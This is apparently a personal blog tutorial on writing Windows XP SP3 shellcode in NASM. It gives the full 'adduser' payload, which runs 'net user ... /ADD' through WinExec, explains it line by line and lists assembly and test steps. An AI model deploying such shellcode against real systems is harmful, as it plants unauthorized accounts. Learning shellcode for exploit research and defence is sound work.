My first shellcode was in two registers, The adduser shellcode!

I always tried to learn to write simple shellcode in assembly language. But writing the shellcode was not my first interest , my interest was Exploit writing. I had to learn to understand assembly language for various reason such as Understanding how computer works, Effectively use of Debugger, Exploit writing,fun etc. So i searched on Google a lots "Writing shellcode" , Fortunately I found some amazing tutorials(Reference!). I will explain each line of my first shellcode below. Before that i want to tell that what tools i used to write this shellcode:

1. Nasm: www.nasm.us

2. arwin: http://www.vividmachines.com/shellcode/arwin.c

3. xxd-shellcode: http://www.projectshellcode.com/downloads/xxd-shellcode.sh

4. shellcode-test: http://www.vividmachines.com/shellcode/shellcodetest.c


The shellcode:

;add user shellcode. Only will work on windows xp3. Written by pusheax.com 
[BITS 32]

global _start

section .text

_start:
jmp short command


function: ;Label
;WinExec("Command to execute",NULL)
pop ecx
xor eax,eax
push eax
push ecx
mov eax,0x7c8623ad
call eax

xor eax,eax
push eax
mov eax,0x7c81cafa
call eax



command: ;Label
call function
db "cmd.exe /c net user pusheax popebp /ADD"
db 0x00



So let me explain each line

[BITS 32] : Tell the nasm the code is for 32bit.


global _start : Declare main starting label .


section .text : Declare the code section.


jmp short command: jmp instruction used for jumping to another label call "command" . "Call" instruction is not possible because "call" will save then next instruction to stack to get back to next instruction. This is really a common trick when writing shellcode. So it is telling to jump to "command" label and keep no return address in stack.



So now we are in label "command" and it holds following instructions:-

call function : Calling "function" label and saving the next address(whatever) in stack for return purpose . The Next instruction is simple system command:

 db "cmd.exe /c net user pusheax popebp /ADD"



So whatever , we are in label "function" 
There is a simple windows API  we need call is WinExec(), http://msdn.microsoft.com/en-us/library/windows/desktop/ms687393%28v=vs.85%29.aspx  . It only requires two parameter.

pop     ecx : Take the current return address into ecx and remove the address from stack.


xor     eax,eax : cleaning the eax register to 0. We can directly push 0 to stack but clearly it will issue null bytes. So most shellcoder does xor.


push     eax : pushing 0 to stack. Since Stack is LIFO so it will be the last parameters.

push     ecx : Do you remember that we have popped an address into ecx ? ecx actually holding "cmd.exe /c net user pusheax popebp /ADD" . So we need to push this string to stack for WinExec() first parameter. Currently stack holds: WinExec("cmd.exe /c net user pusheax popebp /ADD",NULL).

mov     eax,0x7c8623ad :   0x7c8623ad is address of WInExec(). Moving this address into eax . I found this address using arwin.exe ( ./arwin.exe Kernel32.dll WinExec ).


call      eax : eax=WinExec(). So it is executing the API function.


xor    eax,eax: clean eax register. Because we are going to terminate the current process soon. We are going to call ExitProcess() function to exit the current process. otherwise shellcode may get corrupted. You may see it on Debugger. 

 push   eax: Same as above we are pushing the last parameters to stack.


mov     eax,0x7c81cafa : Same as above i used arwin to find the address of ExitProcess() function.


call      eax: eax=ExitProcess's address. Calling eax will execute the function.



Test

1. nasm -f bin -o shellcode.bin
2. ./xxd-shellcode.sh shellcode.bin
3. paste into the shellcode-test.c:
4. compile with mingw and execute then check the new user name :).



 Reference:

https://www.corelan.be/index.php/2010/02/25/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding/

http://projectshellcode.com/node/20